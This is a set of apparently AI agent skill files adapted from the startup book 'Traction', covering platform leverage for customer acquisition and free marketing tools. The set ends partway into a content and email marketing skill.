Leverage existing platforms with large user bases (App Stores, browser extensions, social networks, super-platforms) for startup customer acquisition via par...
---
name: existing-platform-leverage
description: "Leverage existing platforms with large user bases (App Stores, browser extensions, social networks, super-platforms) for startup customer acquisition via parasitic growth patterns. Use whenever a founder is planning to distribute via app stores, building browser extensions, targeting Facebook or Twitter as a channel, launching on a new platform Day-1, exploiting an unsatisfied need on a larger platform, or mapping platform gap opportunities. Activates on phrases like 'App Store strategy', 'Chrome extension', 'browser extension', 'Facebook platform', 'Apple ecosystem', 'existing platforms', 'distribution platform', 'Product Hunt launch', 'Airbnb Craigslist', 'YouTube MySpace', 'Zynga Facebook', 'parasitic growth'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/existing-platform-leverage
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [21]
domain: startup-growth
tags: [startup-growth, platform-strategy, app-stores, viral-distribution, parasitic-growth]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product description, target platforms, platform gap hypothesis"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for platform strategy and launch plans"
discovery:
goal: "Identify and exploit unsatisfied needs on larger platforms to drive startup acquisition"
tasks:
- "Map platforms where the target audience spends time"
- "Identify platform gaps and unsatisfied needs"
- "Design a minimal solution that bridges user to the platform"
- "Plan Day-1 launch strategy for new platforms"
- "Mitigate platform dependency risk"
audience:
roles: [startup-founder, growth-marketer, product-manager]
experience: intermediate
when_to_use:
triggers:
- "A larger platform has an unsatisfied need your product could serve"
- "New platform launching soon (Day-1 opportunity)"
- "User is planning an App Store or extension strategy"
- "Bullseye selected Existing Platforms as inner circle"
prerequisites:
- skill: bullseye-channel-selection
why: "Existing Platforms should be selected deliberately"
not_for:
- "Products that don't complement any existing platform"
environment:
codebase_required: false
codebase_helpful: true
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 10
iterations_needed: 0
---
# Existing Platform Leverage
## When to Use
The startup could grow by leveraging an existing platform with a large user base. Use this skill when:
- A big platform (App Store, browser, social network) has a gap your product could fill
- A new platform is launching that you could be on Day-1
- Your target customers already spend time on a specific platform
- You want to reach millions of users without building your own distribution
Common platforms to leverage: iOS/Android App Stores, Chrome/Firefox Web Stores, Facebook/Twitter APIs, Slack app directory, Shopify/WordPress plugins, VS Code extensions, Product Hunt.
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Target audience:** who you want to reach
→ Check prompt for: customer profile, demographics
→ If missing, ask: "Who are your target customers, and which platforms do they already spend time on?"
- **Product form factor:** can your product live on another platform, or does it require its own app/site
→ Check prompt for: product type, technical form factor
→ If missing, ask: "What form does your product take? Mobile app, web app, browser extension, Slack bot, etc?"
### Observable Context
- **Existing platform presence:** any existing listings, integrations
- **Technical feasibility:** can the team ship platform-specific versions
### Default Assumptions
- Parasitic growth requires identifying an unsatisfied need on the larger platform
- Day-1 launches on new platforms get featured in launch marketing
- Platform dependency is a real risk — have an exit plan
### Sufficiency Threshold
```
SUFFICIENT: target audience + product form factor + candidate platforms known
PROCEED WITH DEFAULTS: audience known, infer platform candidates
MUST ASK: audience is completely unknown
```
## Process
Use TodoWrite:
- [ ] Step 1: Map platforms where target audience spends time
- [ ] Step 2: Identify unsatisfied needs (platform gaps)
- [ ] Step 3: Design the minimal bridge solution
- [ ] Step 4: Plan Day-1 strategy (if applicable)
- [ ] Step 5: Mitigate platform dependency risk
### Step 1: Map Platforms Where Target Audience Spends Time
**ACTION:** List every platform with substantial presence of your target audience. Include:
- **App stores:** iOS App Store, Google Play, Mac App Store, Microsoft Store
- **Browser stores:** Chrome Web Store, Firefox Add-ons, Safari Extensions, Edge
- **Social networks:** Facebook, Twitter, LinkedIn, Reddit, Instagram, TikTok
- **Developer platforms:** GitHub, VS Code Marketplace, JetBrains plugins
- **Work platforms:** Slack App Directory, Microsoft Teams apps, Zoom marketplace
- **E-commerce platforms:** Shopify apps, WordPress plugins, BigCommerce apps
- **Aggregators:** Product Hunt, Hacker News, Reddit (category-specific)
Write to `platform-map.md` with estimated audience presence per platform.
**WHY:** Founders default to "the App Store" and miss the 10 other platforms their customers use. A developer-tool company targets VS Code Marketplace, not the Apple App Store. A productivity tool for remote teams targets Slack App Directory. Mapping reveals the best-fit platforms, not just the biggest ones.
### Step 2: Identify Unsatisfied Needs (Platform Gaps)
**ACTION:** For each promising platform, identify what the platform's users need that the platform itself doesn't provide well. These gaps are the parasitic growth opportunities.
Classic examples:
- **Airbnb on Craigslist:** Craigslist users needed safer, better-designed alternatives for room rentals. Airbnb was the better solution.
- **PayPal on eBay:** eBay sellers needed a trusted payment method eBay didn't provide. PayPal filled the gap.
- **YouTube on MySpace:** MySpace users needed video hosting MySpace didn't offer. YouTube embed code bridged the gap.
- **Zynga on Facebook:** Facebook users needed games. Zynga dominated before competition.
- **Imgur on Reddit:** Reddit users needed image hosting. Imgur was built specifically for Reddit.
- **Bit.ly on Twitter:** Twitter users needed link shortening. Bit.ly filled the need.
The pattern: **find what users of the big platform are struggling with, and provide the solution.**
**WHY:** Platforms can't fix every user need — their priorities are constrained. Gaps are persistent. A startup that solves a real gap becomes the default solution for that gap and rides the platform's growth.
**IF** no clear gap exists → the platform isn't the right channel.
### Step 3: Design the Minimal Bridge Solution
**ACTION:** Build the smallest product that bridges platform users to your solution. The bridge should:
- Work entirely within the platform's context (no platform switch required)
- Require minimal friction to try
- Deliver value on the first use
- Drive users back to your core product over time (or monetize in-platform)
Airbnb's "Post to Craigslist" feature: one button that cross-posted Airbnb listings to Craigslist. Users didn't need to leave Craigslist to discover Airbnb. This drove tens of thousands of Craigslist users to Airbnb.
**WHY:** A full standalone product requires users to switch platforms and learn new interfaces. A bridge meets users where they are. Bridges have higher conversion because they reduce context-switching cost.
### Step 4: Plan Day-1 Strategy for New Platforms
**ACTION:** When a new platform launches, being on Day-1 produces:
- **Launch marketing feature** — platform launch announcements often highlight partner apps
- **Less competition** — fewer apps in the store = higher visibility per app
- **Platform goodwill** — the platform maker remembers partners who supported them early
Evernote's strategy: launched on every new platform on Day-1 (iPhone, iPad, Android, Kindle Fire). Phil Libin: "We really killed ourselves to always be in all of the App Store launches on day one."
Prepare:
- Technical readiness 4-6 weeks before platform launch
- Launch-day assets (screenshots, demo video, press release)
- Developer relations contact at the platform
**WHY:** Platform launch days are high-attention moments. Being in the launch-day lineup produces outsized awareness for minimal cost. Missing the window means competing with hundreds of late-arriving apps. Evernote's Day-1 strategy made the company a household name on iOS specifically because they were first.
**IF** no new platform is launching soon → focus on Step 3's bridge strategy on existing platforms.
### Step 5: Mitigate Platform Dependency Risk
**ACTION:** Platform leverage is powerful but risky. Platforms change rules, APIs, and access policies. Mitigate:
- **Diversify across platforms** — don't rely on one platform for >50% of traffic
- **Build direct relationships with users** — capture email, build community, drive repeat visits outside the platform
- **Monitor platform policy changes** — watch for warning signs early
- **Have an exit plan** — if the platform cuts off access, what's your fallback?
Cautionary tale: Zynga's Facebook dependency. When Facebook changed its platform policies and algorithm, Zynga's growth cratered. Similar issues for companies dependent on Google's SEO algorithm, Twitter's API, Facebook's News Feed.
Airbnb's Craigslist dependency: eventually Craigslist blocked the "Post to Craigslist" feature. Airbnb had by then built its own brand and growth, but the dependency was always a risk.
**WHY:** Platform dependency creates tail risk. The platform giveth and the platform taketh away. Mitigation isn't paranoia — it's the standard practice of any company with substantial platform exposure.
## Inputs
- Target audience description
- Product form factor
- Candidate platform list
## Outputs
Four markdown files:
1. **`platform-map.md`** — Platforms where target audience spends time
2. **`platform-gaps.md`** — Unsatisfied needs per platform
3. **`bridge-solution.md`** — Minimal solution design bridging platform to product
4. **`platform-dependency-plan.md`** — Dependency risk mitigation plan
## Key Principles
- **Find gaps, don't build parallel platforms.** Leverage works because the platform's users are already there. Don't try to replicate the platform. WHY: Replicating a platform competes with it; filling a gap complements it. Gaps are welcomed; replicas are blocked.
- **Meet users where they are.** The best bridge requires no platform switching. Airbnb posted listings to Craigslist; users discovered Airbnb inside Craigslist. WHY: Every required context switch loses users. The bridge should work in the platform's native environment.
- **Day-1 matters disproportionately.** New platform launches are rare marketing moments. Being first produces outsized results. WHY: Launch-day attention is finite and concentrated. Day-100 attention is diffused. Same app, radically different outcomes by timing.
- **Platform dependency has tail risk.** The platform can cut you off. Plan for it. WHY: Platforms change rules without warning. Companies with one-platform dependency are betting their existence on that platform's continued goodwill.
- **Parasitic is not pejorative.** Using an existing platform's user base is a legitimate strategy. PayPal, YouTube, and Airbnb all did it. WHY: "Parasitic" describes the mechanics, not ethics. All three became beloved products despite starting parasitically.
## Examples
**Scenario: Developer tool for VS Code**
Trigger: "We built a code quality tool for JavaScript developers. How do we get users?"
Process: (1) Platform map: VS Code Marketplace is where JavaScript devs live. Secondary: GitHub Marketplace, Chrome Web Store (for dev tools extensions). (2) Platform gaps: VS Code doesn't have integrated AI code quality checking — gap. (3) Bridge solution: VS Code extension that installs with one click, runs in the background, shows issues inline. (4) Day-1 strategy: watch for VS Code's next major release and be ready to integrate with new APIs. (5) Dependency risk: build a parallel web version and capture emails.
Output: Platform-native strategy with VS Code Marketplace as primary channel.
**Scenario: Consumer app exploring Product Hunt**
Trigger: "We're launching a new consumer app next month. Should we launch on Product Hunt?"
Process: (1) Yes, Product Hunt is an aggregator for early-adopter consumer audiences. (2) Gap: not a traditional gap, but Product Hunt is where new products get discovered. (3) Bridge: simple launch with demo video, founder story, 24-hour engagement. (4) Day-1 strategy: coordinate launch with Hacker News submission, Reddit (if appropriate subreddit), and Twitter thread. (5) Dependency: Product Hunt alone is not sustainable — use it as a launch moment, not an ongoing channel.
Output: Multi-platform launch plan with Product Hunt as the focal day-1 event.
**Scenario: Chrome extension opportunity**
Trigger: "Our web research tool could work as a Chrome extension. Worth the effort?"
Process: (1) Platform map: Chrome Web Store has 3B+ users, strong discovery for productivity tools. (2) Gap: Chrome's default search and bookmarking don't help with research workflows — clear gap. (3) Bridge: extension that works inline in the browser without requiring a separate app. One-click install, zero onboarding. (4) Day-1: not a new platform but consider launching via Hacker News and r/productivity as the first 48 hours. (5) Dependency: Chrome Web Store has removed extensions before (policy changes). Build a web app fallback and capture emails.
Output: Chrome extension as primary channel, web fallback for dependency mitigation.
## References
- For case studies of parasitic growth patterns (Airbnb/Craigslist, etc), see [references/parasitic-growth-cases.md](references/parasitic-growth-cases.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select Existing Platforms via Bullseye
- `clawhub install bookforge-viral-growth-loop-design` — Embedded virality overlaps with platform leverage
- `clawhub install bookforge-engineering-as-marketing` — Tools on platforms are a parallel pattern
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/parasitic-growth-cases.md
# Parasitic Growth Case Studies
Five classic case studies from Chapter 20 of *Traction*.
## 1. Airbnb on Craigslist
**Platform:** Craigslist (massive classified ads site, primary home rental listing site at the time)
**Gap:** Craigslist's interface was bad, trust mechanisms were weak, room rentals were hit or miss.
**Airbnb's bridge:** A "Post to Craigslist" feature. Airbnb hosts could cross-post their listings to Craigslist with one button. Craigslist users discovered Airbnb from inside Craigslist.
**Outcome:** Tens of thousands of Craigslist users migrated to Airbnb. The feature was eventually shut down by Craigslist, but by then Airbnb had grown past the dependency.
**Lesson:** Bridges that work inside the platform's native context produce disproportionate user discovery.
## 2. PayPal on eBay
**Platform:** eBay (dominant auction marketplace)
**Gap:** eBay had a payment system (Billpoint) but it was slow, distrusted, and frictional. Sellers and buyers wanted something better.
**PayPal's bridge:** PayPal employees bought items on eBay and required sellers to accept PayPal for payment. This seeded PayPal into the eBay marketplace.
**Outcome:** PayPal became the dominant eBay payment method, ultimately surpassing eBay's own Billpoint and leading to eBay acquiring PayPal for $1.5B.
**Lesson:** Manual seeding by employees can jumpstart a platform-adjacent product when users want the alternative.
## 3. YouTube on MySpace
**Platform:** MySpace (early 2000s social network)
**Gap:** MySpace users wanted to share videos but MySpace didn't host video well.
**YouTube's bridge:** YouTube provided simple embed code that worked inside MySpace profiles. MySpace users uploaded videos to YouTube and embedded them.
**Outcome:** MySpace users drove YouTube's early growth. When videos were clicked, users were directed to YouTube.
**Lesson:** Embed codes that work on another platform create parasitic distribution without requiring users to leave their platform.
## 4. Zynga on Facebook
**Platform:** Facebook (fast-growing social network in late 2000s)
**Gap:** Facebook didn't have rich games. Users wanted them.
**Zynga's bridge:** Built games that ran on the Facebook platform using Facebook's social graph and sharing features. Friends invited friends to play, leveraging Facebook's virality mechanics.
**Outcome:** Zynga became the dominant Facebook gaming company, reaching 200M+ monthly users. IPO'd in 2011.
**Caution:** Zynga's heavy Facebook dependency became a risk when Facebook changed its platform policies and news feed algorithm. Zynga's growth cratered. This is the cautionary tale of platform dependency.
## 5. Evernote on Every New Platform (Day-1)
**Strategy:** Evernote's philosophy was to be on every new platform Day-1. iPhone, iPad, Android, Kindle Fire, Windows Phone — Evernote was there.
**Why it worked:** Platform launches often feature launch-day partners prominently. Evernote got featured in Apple's iPad keynote because they had an iPad-optimized app ready at launch.
**Key quote:** "We really killed ourselves to always be in all of the App Store launches on day one." — Phil Libin, Evernote CEO
**Outcome:** Evernote became the default note-taking app across every major platform in the early 2010s. Brand equity and market position came directly from Day-1 presence.
**Lesson:** Day-1 is disproportionate. The same app shipped on Day-30 gets none of the launch attention.
## 6. Bit.ly on Twitter (Bonus)
**Platform:** Twitter (early microblogging service)
**Gap:** Twitter's 140-character limit made URLs waste precious characters.
**Bit.ly's bridge:** Simple URL shortener that users could use to share links on Twitter.
**Outcome:** Bit.ly became the default URL shortener for Twitter, processing billions of links. Eventually became a web analytics company.
**Lesson:** Solving a specific constraint a platform imposes can produce a business that rides the platform's growth.
## 7. Imgur on Reddit (Bonus)
**Platform:** Reddit (link aggregation and discussion site)
**Gap:** Reddit didn't host images; users needed somewhere to put images they wanted to share.
**Imgur's bridge:** Image hosting service specifically designed for Reddit's culture — fast, anonymous, no account required.
**Outcome:** Imgur became the de facto image host for Reddit. Most Reddit image links went to Imgur for years.
**Lesson:** Building for the specific culture of a platform (not just its APIs) produces deeper integration.
## Patterns Across Cases
All seven cases share a pattern:
1. **Identified a specific unsatisfied need** on a much larger platform
2. **Built a minimal solution** focused tightly on that need
3. **Let the platform's users find the solution** inside the platform's context
4. **Rode the platform's growth curve** for their own growth
The parasitic label isn't ethical commentary — it's mechanical description. Parasites in biology aren't always harmful; symbionts and commensals both use hosts without damaging them. Most of these cases were beneficial to the platform (PayPal made eBay more trustworthy; YouTube made MySpace richer; Imgur made Reddit usable).
## Source
Chapter 20 ("Existing Platforms") of *Traction* by Gabriel Weinberg and Justin Mares.
Design free tools and micro-sites that acquire customers through engineering effort rather than ad spend. Use whenever a founder or marketer wants to build a...
---
name: engineering-as-marketing
description: "Design free tools and micro-sites that acquire customers through engineering effort rather than ad spend. Use whenever a founder or marketer wants to build a free calculator, tool, widget, grader, or educational resource as a customer acquisition channel. Activates on phrases like 'engineering as marketing', 'free tool', 'marketing tool', 'calculator', 'grader', 'micro-site', 'widget', 'free app', 'HubSpot Marketing Grader', 'Moz tools', 'lead generator tool', 'utility for marketing', 'free resource for customers'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/engineering-as-marketing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [16]
domain: startup-growth
tags: [startup-growth, engineering-as-marketing, free-tools, lead-generation, product-led-growth]
depends-on: [bullseye-channel-selection]
execution:
tier: 2
mode: full
inputs:
- type: document
description: "Ideal customer problem, engineering capacity, existing product"
tools-required: [Read, Write]
tools-optional: [Bash, AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for tool design specs and lead capture plans"
discovery:
goal: "Design and plan a free tool that captures leads from the ideal customer audience"
tasks:
- "Identify the ONE question the ideal customer asks before needing your product"
- "Design the smallest possible tool that answers that question"
- "Apply the single-input-field design pattern"
- "Plan the lead capture after tool use"
- "Avoid the engineering resource hoarding anti-pattern"
audience:
roles: [startup-founder, growth-marketer, engineering-lead]
experience: intermediate
when_to_use:
triggers:
- "Engineering team has spare capacity"
- "User wants a scalable lead generation mechanism"
- "Bullseye selected Engineering as Marketing"
- "User's ideal customer has a specific quantifiable question"
prerequisites:
- skill: bullseye-channel-selection
why: "Engineering as Marketing should be selected deliberately via Bullseye"
not_for:
- "Engineering team has no capacity and product is struggling"
environment:
codebase_required: false
codebase_helpful: true
works_offline: true
quality:
scores:
with_skill: null
baseline: null
delta: null
tested_at: null
eval_count: 0
assertion_count: 10
iterations_needed: 0
---
# Engineering as Marketing
## When to Use
The startup wants to use engineering effort to acquire customers rather than spending on ads. Use this skill when:
- Engineering team has spare capacity or the team is engineering-heavy
- The ideal customer has a specific, quantifiable question they'd pay to answer
- Bullseye Framework selected Engineering as Marketing
- A one-time engineering investment could produce ongoing lead generation
## Context & Input Gathering
### Required Context (must have — ask if missing)
- **Ideal customer description:** who the tool should attract
→ Check prompt for: customer profile, pain points
→ If missing, ask: "Who is your ideal customer, and what's the one question they ask before they're ready to pay for your product?"
- **Engineering capacity:** available hours/weeks
→ Check prompt for: team size, availability, prior free tools
→ If missing, ask: "How much engineering time can you budget for building the tool? Even 2-4 weeks is enough for a simple calculator."
### Observable Context
- **Existing product:** what the tool should funnel toward
- **Current lead generation:** what the tool would replace or complement
### Default Assumptions
- Single-input-field is the ideal pattern (paste URL, get report)
- The tool should be genuinely useful on its own, not a sales pitch
- Lead capture happens after the value is delivered, not before
### Sufficiency Threshold
```
SUFFICIENT: ideal customer + core question + engineering capacity known
PROCEED WITH DEFAULTS: customer known, brainstorm common category questions
MUST ASK: customer is too vague to identify the core question
```
## Process
Use TodoWrite:
- [ ] Step 1: Identify the core customer question
- [ ] Step 2: Design the smallest tool that answers it
- [ ] Step 3: Apply the single-input-field pattern
- [ ] Step 4: Plan lead capture flow
- [ ] Step 5: Set up distribution (SEO, blog integration, sharing)
### Step 1: Identify the Core Customer Question
**ACTION:** Find the ONE specific question the ideal customer asks before they're ready to pay for your product. Not "what should I do about marketing" but "is my marketing working well enough?" or "how does my site compare to competitors?"
Examples:
- **HubSpot:** "How good is my marketing?" → Marketing Grader (enter URL, get score)
- **Moz:** "Who follows my target audience on Twitter?" → Followerwonk
- **Moz:** "How many backlinks does a site have?" → Open Site Explorer
- **DuckDuckGo:** "How is Google tracking my searches?" → DontTrack.us micro-site
The question must be:
- Specific enough to answer definitively
- Valuable enough that the customer would actively seek an answer
- Related enough to your product that users who care about it are leads
**WHY:** Generic free tools produce generic leads. HubSpot's Marketing Grader attracts people who care about marketing quality — which is exactly HubSpot's ideal customer. A generic "business calculator" attracts everyone and converts no one. The tool must match the question, and the question must match the customer.
### Step 2: Design the Smallest Tool That Answers It
**ACTION:** Strip the tool to the minimum viable answer:
- One input field (URL, email, company name, Twitter handle)
- One clear output (score, report, comparison, list)
- No gates before the value is delivered
- No login required (or optional at most)
Budget: 2-4 weeks of engineering for a first version. Resist feature creep.
Write the design spec to `tool-design.md`.
**WHY:** Complexity is the enemy of adoption. HubSpot Marketing Grader succeeded partly because it was embarrassingly simple — paste a URL, get a grade. If it had required a 20-question survey first, 90% of users would have dropped off. The friction-to-value ratio is the core metric.
### Step 3: Apply the Single-Input-Field Pattern
**ACTION:** Design the landing page around a single input field, centered, with minimal distractions. The user types or pastes one thing and clicks one button. Everything else waits until after the result is shown.
Elements to include ON the landing page:
- Headline (what the tool does in 6 words)
- Single input field
- Single action button
- One line of credibility ("Used by 3M sites")
Elements to EXCLUDE from the landing page:
- Feature lists
- Pricing
- Multi-step signup
- Login wall
- Pop-ups before result
**WHY:** Every additional element on the landing page reduces conversion to first-use. The single-input pattern removes all friction between "user arrives" and "user gets value." The sales pitch happens after the value is delivered, when the user is in a "this is useful" state — not before, when they're evaluating whether to try.
### Step 4: Plan Lead Capture Flow
**ACTION:** Design what happens AFTER the user gets their result:
- Show the valuable result immediately (no email wall)
- Offer to email the result for future reference (email capture, optional)
- Offer a "deeper analysis" or "personalized report" in exchange for email (stronger capture)
- Show a product CTA that's relevant to the result ("Your score is 65. Our product can get you to 90.")
- Add social sharing (especially if the result is shareable, like a grade)
Write the flow to `tool-capture-flow.md`.
**WHY:** Gating value behind email collection kills conversion. Delivering value first and asking for email second (for "send me my report" or "notify me of improvements") captures email at 30-50% rates instead of 5%. The sequence matters: value → capture, not capture → value.
### Step 5: Distribution
**ACTION:** The tool is built — how do people find it?
Distribution channels for tools:
- **SEO:** the tool ranks for queries like "is my marketing working" (HubSpot's strategy)
- **Blog integration:** tool embedded in or linked from related blog posts
- **Share hooks:** results users share publicly (leaderboards, grades) drive viral growth
- **Partnership distribution:** tool offered as free addon to partners' audiences
- **Direct promotion:** launch on Product Hunt, Hacker News, Reddit
**WHY:** A great tool that nobody finds is worthless. Distribution is half the work. The tool's SEO properties (keyword-rich domain, targeted landing page) compound over time and often become the biggest traffic source.
## Inputs
- Ideal customer description and core question
- Engineering capacity
- Existing product to funnel toward
## Outputs
Three markdown files:
1. **`tool-design.md`** — Core question, input, output, scope constraints
2. **`tool-capture-flow.md`** — Post-result flow, email capture, product CTA
3. **`tool-distribution.md`** — Distribution channels and launch plan
## Key Principles
- **The question matters more than the tool.** A perfect tool for the wrong question produces zero leads. A simple tool for the right question produces millions. WHY: Tool quality is a secondary factor. Match to customer intent is the primary factor.
- **Single input field is the ideal pattern.** Less friction = more users. WHY: Every additional form field cuts conversion. The single-input pattern maximizes users-who-try, which is the top of the lead funnel.
- **Deliver value first, capture email second.** Gating kills conversion. WHY: Email capture rates are 5-10% when value is gated, 30-50% when value is delivered first. Users who got value are in a friendly state; users who hit a gate are in a hostile state.
- **Don't confuse "free tool" with "feature preview".** A free tool is a standalone utility that's valuable even if the user never buys your product. A feature preview is a crippled version of your product. Users can tell the difference. WHY: Standalone tools build trust; feature previews feel like bait-and-switch.
- **Avoid the engineering resource hoarding anti-pattern.** "Companies have a hard time using engineering resources for anything but product development." Most founders use all engineering time on product features. Don't. WHY: Engineering as marketing produces ongoing lead flow from a one-time investment. Product features produce incremental value per feature. The ROI comparison favors tools for most startups.
- **The tool's SEO compounds.** Unlike ads, a well-ranked tool produces traffic indefinitely. WHY: One-time engineering investment + long-lived traffic = asymmetric return. HubSpot Marketing Grader has generated leads for 15+ years from its initial build.
## Examples
**Scenario: B2B SaaS with spare engineering capacity**
Trigger: "We have 2 engineers on the bench for 4 weeks. We sell analytics software to marketers. What should we build?"
Process: (1) Core question: "Is my website's analytics setup correct?" — something marketers worry about. (2) Tool design: paste URL → crawl for Google Analytics, GTM, event tracking, UTM consistency → score report. (3) Single-input: URL field + "Check my site" button. (4) Capture: show score immediately, "email me the full report" capture. Product CTA: "Our tool fixes these 5 issues automatically." (5) Distribution: SEO on "analytics audit", launch on Product Hunt, embed on analytics blog.
Output: Complete tool spec, lead flow, distribution plan.
**Scenario: Consumer health app**
Trigger: "We have a meal tracking app. Want to use engineering-as-marketing. Ideas?"
Process: (1) Core question: "How healthy is my diet?" — universal question for target audience. (2) Tool: "Paste your last 3 days of meals → AI analyzes nutrition and grades your diet." (3) Single input: text area for meal entries. (4) Capture: show grade immediately, "Save your progress" (email capture for 7-day tracking). Product CTA: "Our app auto-tracks this every day." (5) Distribution: SEO on "healthy diet quiz", Instagram/TikTok shareable results.
Output: Tool concept, social-friendly result design, distribution plan.
**Scenario: Founder pulled between product and tool**
Trigger: "Engineering team has 3 weeks free. But I'm worried we should use that time to fix bugs in the product. Which is better?"
Process: (1) Engineering resource hoarding anti-pattern in action. (2) Frame the trade-off: 3 weeks of bug fixes = marginal improvement to existing users. 3 weeks building a free tool = ongoing lead flow for years. ROI comparison strongly favors the tool. (3) Caveat: if the bugs are P0/churn-causing, fix them first. If they're "nice to have", build the tool. (4) Tool recommendation based on customer question. (5) Commit to the decision: don't build half a tool and half a bug fix.
Output: Clear decision framing that breaks the engineering-hoarding default.
## References
- For lead capture flow variants and conversion benchmarks, see [references/tool-patterns.md](references/tool-patterns.md)
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — Traction: A Startup Guide to Getting Customers by Gabriel Weinberg and Justin Mares.
## Related BookForge Skills
Install related skills from ClawhHub:
- `clawhub install bookforge-bullseye-channel-selection` — Select Engineering as Marketing deliberately
- `clawhub install bookforge-seo-channel-strategy` — Tools rank for long-tail queries naturally
- `clawhub install bookforge-content-and-email-marketing` — Tools capture emails for lifecycle marketing
Or install the full book set from GitHub: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
FILE:references/tool-patterns.md
# Free Tool Patterns
Reference patterns for engineering-as-marketing tools, from Chapter 15 of *Traction*.
## Proven Tool Patterns
### Pattern 1: The Grader
**Shape:** User inputs one thing (URL, email, company) → tool evaluates and returns a score.
**Examples:** HubSpot Marketing Grader (URL → marketing score), Crazy Egg (URL → heatmap insights).
**Lead flow:** Show score immediately. Offer email capture for full report or comparison.
**Why it works:** Scores are shareable, benchmarkable, and create curiosity. "Your marketing score is 65" invites comparison.
### Pattern 2: The Analyzer
**Shape:** User inputs data → tool returns insights.
**Examples:** Moz Followerwonk (Twitter handle → follower analysis), Open Site Explorer (URL → backlinks).
**Lead flow:** Show a slice of the analysis free. Gate full data behind email or signup.
**Why it works:** Analysis saves the user hours of work. High perceived value.
### Pattern 3: The Calculator
**Shape:** User inputs variables → tool returns a calculated result.
**Examples:** mortgage calculators, ROI calculators, pricing calculators.
**Lead flow:** Show result immediately. Offer email capture to "save the calculation" or get a customized plan.
**Why it works:** Calculators answer a specific numeric question that's hard to answer without the tool.
### Pattern 4: The Educator (Micro-Site)
**Shape:** Dedicated micro-site on a specific topic with authoritative content.
**Examples:** DuckDuckGo's DontTrack.us (educates about search privacy), HealthCare.gov-style explainers.
**Lead flow:** Educate first, link to product as the solution at the end.
**Why it works:** Educational content ranks in SEO and creates trust before any sales pitch.
### Pattern 5: The Generator
**Shape:** User inputs parameters → tool generates an artifact (logo, slogan, email, card).
**Examples:** Shopify's business name generator, Canva's free design templates.
**Lead flow:** Deliver generated artifact immediately. Upsell to fuller features.
**Why it works:** Generated artifacts feel personal and valuable. Users share them.
### Pattern 6: The Comparator
**Shape:** User inputs multiple options → tool compares them.
**Examples:** price comparison tools, competitor comparison charts.
**Lead flow:** Show comparison. Position your product favorably within the comparison.
**Why it works:** Users are already comparison-shopping. Meeting them at that moment is high intent.
## Conversion Benchmarks
Rough benchmarks from the book's examples and industry reports:
- **First-use to email capture:** 15-35% for unilocked-value tools
- **Email capture to product signup:** 3-10% for well-designed nurture sequences
- **Tool → paying customer:** 0.5-3% overall (depending on product price and fit)
HubSpot Marketing Grader: 3 million+ uses, "large portion" of HubSpot's 50,000+ monthly leads.
## Anti-Patterns in Tool Design
- **Gating value behind email before showing anything** — kills conversion
- **Multi-step forms before the result** — every step loses 20-40% of users
- **Login requirement to see the result** — nukes first-time-use rates
- **Tool that only works with your product** — users feel bait-and-switched
- **Tool that's obviously a marketing trick** — trust destroyed before lead captured
- **Tool without a clear distribution plan** — built and then nobody finds it
## Source
Chapter 15 ("Engineering as Marketing") of *Traction* by Gabriel Weinberg and Justin Mares.
Design content marketing and email lifecycle programs that work together as an acquisition engine. Use whenever a founder or marketer is planning a blog, new...
---
name: content-and-email-marketing
description: "Design content marketing and email lifecycle programs that work together as an acquisition engine. Use whenever a founder or marketer is planning a blog, newsletter, content calendar, email sequences, lead magnets, drip campaigns, onboarding emails, activation emails, retention emails, or any combination of content creation and email marketing. Also covers the acquisition → activation → retention → revenue lifecycle. Activates on phrases like 'content marketing', 'blog strategy', 'newsletter', 'email marketing', 'drip campaign', 'onboarding emails', 'lifecycle emails', 'activation email', 'email list', 'lead magnet', 'nurture sequence', 'email automation'."
version: 1.0.0
homepage: https://github.com/bookforge-ai/bookforge-skills/tree/main/books/traction/skills/content-and-email-marketing
metadata: {"openclaw":{"emoji":"📚","homepage":"https://github.com/bookforge-ai/bookforge-skills"}}
status: draft
source-books:
- id: traction
title: "Traction: A Startup Guide to Getting Customers"
authors: ["Gabriel Weinberg", "Justin Mares"]
chapters: [14, 15]
domain: startup-growth
tags: [startup-growth, content-marketing, email-marketing, lifecycle-marketing, customer-activation]
depends-on: [bullseye-channel-selection]
execution:
tier: 1
mode: hybrid
inputs:
- type: document
description: "Product description, target audience, activation definition, existing content/email assets"
tools-required: [Read, Write]
tools-optional: [AskUserQuestion]
mcps-required: []
environment: "Plain-text working directory for content plans and email sequence drafts"
discovery:
goal: "Produce an integrated content + email plan spanning the 4-stage customer lifecycle"
tasks:
- "Define activation threshold for the product"
- "Plan content topics that attract the target audience"
- "Design the 4-stage email lifecycle (acquisition → activation → retention → revenue)"
- "Create activation email sequences for each drop-off point"
- "Set up retention emails for infrequent-use products"
- "Avoid the email spam trap"
audience:
roles: [startup-founder, content-marketer, email-marketer]
experience: beginner-to-intermediate
when_to_use:
triggers:
- "User is starting a blog or newsletter"
